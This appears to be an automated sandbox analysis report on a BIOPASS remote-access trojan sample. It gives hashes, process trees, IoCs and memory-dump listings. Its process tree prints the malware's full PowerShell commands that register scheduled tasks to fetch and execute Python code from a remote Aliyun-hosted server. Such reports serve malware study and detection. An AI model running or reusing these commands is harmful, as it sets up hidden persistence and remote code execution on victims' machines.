biopass | 7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0

Analysis

max time kernel
138s
max time network
60s
platform
windows7_x64
resource
win7v20210410
submitted
12-07-2021 07:10

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General

Target

7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe
Size

4.8MB
MD5

0bbe5966c5ea998605215df6ef88ad90
SHA1

bce97a45e856b71dc8d48ae12b04f69eb6d191d1
SHA256

7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0
SHA512

14b74fc9dcd6249bd9c4e4d0a41137898864f7d936d1a4964e212c1f13e60f846107d176d32aba65dac649cc8899d6842744e2909e813f7ab32ece8023a2a3dd

Score

10^/10

biopass rat trojan

Malware Config

Signatures

biopass
BIOPASS is a RAT connected with Winnti group (APT41).
rat trojan biopass

Executes dropped EXE 4 IoCs

pid	Process
1536	ServiceHub.Host.CLR.exe
568	Silverlight.exe
1960	ServiceHub.Host.CLR.exe
1060	install.exe

Loads dropped DLL 64 IoCs

pid	Process
1616	taskeng.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
1536	ServiceHub.Host.CLR.exe
568	Silverlight.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe
1960	ServiceHub.Host.CLR.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2044	ping.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1108	powershell.exe
1108	powershell.exe
1372	powershell.exe
1372	powershell.exe
612	powershell.exe
612	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1060	install.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: 35	1536	ServiceHub.Host.CLR.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: 35	1960	ServiceHub.Host.CLR.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 2044	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	25
PID 1652 wrote to memory of 2044	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	25
PID 1652 wrote to memory of 2044	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	25
PID 1652 wrote to memory of 1312	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	31
PID 1652 wrote to memory of 1312	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	31
PID 1652 wrote to memory of 1312	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	31
PID 1312 wrote to memory of 1108	1312	cmd.exe	33
PID 1312 wrote to memory of 1108	1312	cmd.exe	33
PID 1312 wrote to memory of 1108	1312	cmd.exe	33
PID 1312 wrote to memory of 428	1312	cmd.exe	34
PID 1312 wrote to memory of 428	1312	cmd.exe	34
PID 1312 wrote to memory of 428	1312	cmd.exe	34
PID 1652 wrote to memory of 920	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	36
PID 1652 wrote to memory of 920	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	36
PID 1652 wrote to memory of 920	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	36
PID 920 wrote to memory of 1372	920	cmd.exe	38
PID 920 wrote to memory of 1372	920	cmd.exe	38
PID 920 wrote to memory of 1372	920	cmd.exe	38
PID 1616 wrote to memory of 1536	1616	taskeng.exe	39
PID 1616 wrote to memory of 1536	1616	taskeng.exe	39
PID 1616 wrote to memory of 1536	1616	taskeng.exe	39
PID 920 wrote to memory of 1864	920	cmd.exe	40
PID 920 wrote to memory of 1864	920	cmd.exe	40
PID 920 wrote to memory of 1864	920	cmd.exe	40
PID 920 wrote to memory of 392	920	cmd.exe	42
PID 920 wrote to memory of 392	920	cmd.exe	42
PID 920 wrote to memory of 392	920	cmd.exe	42
PID 1616 wrote to memory of 568	1616	taskeng.exe	41
PID 1616 wrote to memory of 568	1616	taskeng.exe	41
PID 1616 wrote to memory of 568	1616	taskeng.exe	41
PID 1616 wrote to memory of 568	1616	taskeng.exe	41
PID 1616 wrote to memory of 568	1616	taskeng.exe	41
PID 1616 wrote to memory of 568	1616	taskeng.exe	41
PID 1616 wrote to memory of 568	1616	taskeng.exe	41
PID 1652 wrote to memory of 1308	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	43
PID 1652 wrote to memory of 1308	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	43
PID 1652 wrote to memory of 1308	1652	7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe	43
PID 1308 wrote to memory of 612	1308	cmd.exe	45
PID 1308 wrote to memory of 612	1308	cmd.exe	45
PID 1308 wrote to memory of 612	1308	cmd.exe	45
PID 1308 wrote to memory of 1280	1308	cmd.exe	46
PID 1308 wrote to memory of 1280	1308	cmd.exe	46
PID 1308 wrote to memory of 1280	1308	cmd.exe	46
PID 1616 wrote to memory of 1960	1616	taskeng.exe	47
PID 1616 wrote to memory of 1960	1616	taskeng.exe	47
PID 1616 wrote to memory of 1960	1616	taskeng.exe	47
PID 568 wrote to memory of 1060	568	Silverlight.exe	48
PID 568 wrote to memory of 1060	568	Silverlight.exe	48
PID 568 wrote to memory of 1060	568	Silverlight.exe	48
PID 568 wrote to memory of 1060	568	Silverlight.exe	48
PID 568 wrote to memory of 1060	568	Silverlight.exe	48
PID 568 wrote to memory of 1060	568	Silverlight.exe	48
PID 568 wrote to memory of 1060	568	Silverlight.exe	48

C:\Users\Admin\AppData\Local\Temp\7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe
"C:\Users\Admin\AppData\Local\Temp\7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\system32\ping.exe
  ping www.baidu.com
  2⤵
  - Runs ping.exe
  PID:2044
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_SETTINGS"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_SETTINGS
    3⤵
    PID:428
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_TEST
    3⤵
    PID:1864
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /DELETE /F /TN SYSTEM_TEST
    3⤵
    PID:392
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_CDAEMON"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_CDAEMON
    3⤵
    PID:1280

C:\Windows\system32\taskeng.exe
taskeng.exe {BFB05B41-B0FE-41D0-8711-279B3F56602D} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Users\Public\Silverlight.exe
  C:\Users\Public\Silverlight.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:568
- - \??\c:\eb4298f7fa175f1b7608d4b9\install.exe
    c:\eb4298f7fa175f1b7608d4b9\install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1060
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1960

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/568-151-0x0000000075411000-0x0000000075413000-memory.dmp

Filesize
8KB

Download
memory/612-156-0x0000000002524000-0x0000000002526000-memory.dmp

Filesize
8KB

Download
memory/612-154-0x000000001ABD0000-0x000000001ABD1000-memory.dmp

Filesize
4KB

Download
memory/612-153-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/612-155-0x0000000002520000-0x0000000002522000-memory.dmp

Filesize
8KB

Download
memory/612-159-0x000000001C370000-0x000000001C371000-memory.dmp

Filesize
4KB

Download
memory/612-157-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/612-158-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1060-164-0x0000000000100000-0x000000000013B000-memory.dmp

Filesize
236KB

Download
memory/1108-67-0x000000001A880000-0x000000001A881000-memory.dmp

Filesize
4KB

Download
memory/1108-66-0x000000001AB24000-0x000000001AB26000-memory.dmp

Filesize
8KB

Download
memory/1108-63-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/1108-62-0x000007FEFBAB1000-0x000007FEFBAB3000-memory.dmp

Filesize
8KB

Download
memory/1108-69-0x000000001B830000-0x000000001B831000-memory.dmp

Filesize
4KB

Download
memory/1108-68-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download
memory/1108-64-0x000000001ABA0000-0x000000001ABA1000-memory.dmp

Filesize
4KB

Download
memory/1108-65-0x000000001AB20000-0x000000001AB22000-memory.dmp

Filesize
8KB

Download
memory/1372-145-0x000000001B6B0000-0x000000001B6B1000-memory.dmp

Filesize
4KB

Download
memory/1372-126-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1372-124-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

Filesize
8KB

Download
memory/1372-123-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

Filesize
8KB

Download
memory/1372-144-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/1372-83-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/1372-84-0x000000001AD60000-0x000000001AD61000-memory.dmp

Filesize
4KB

Download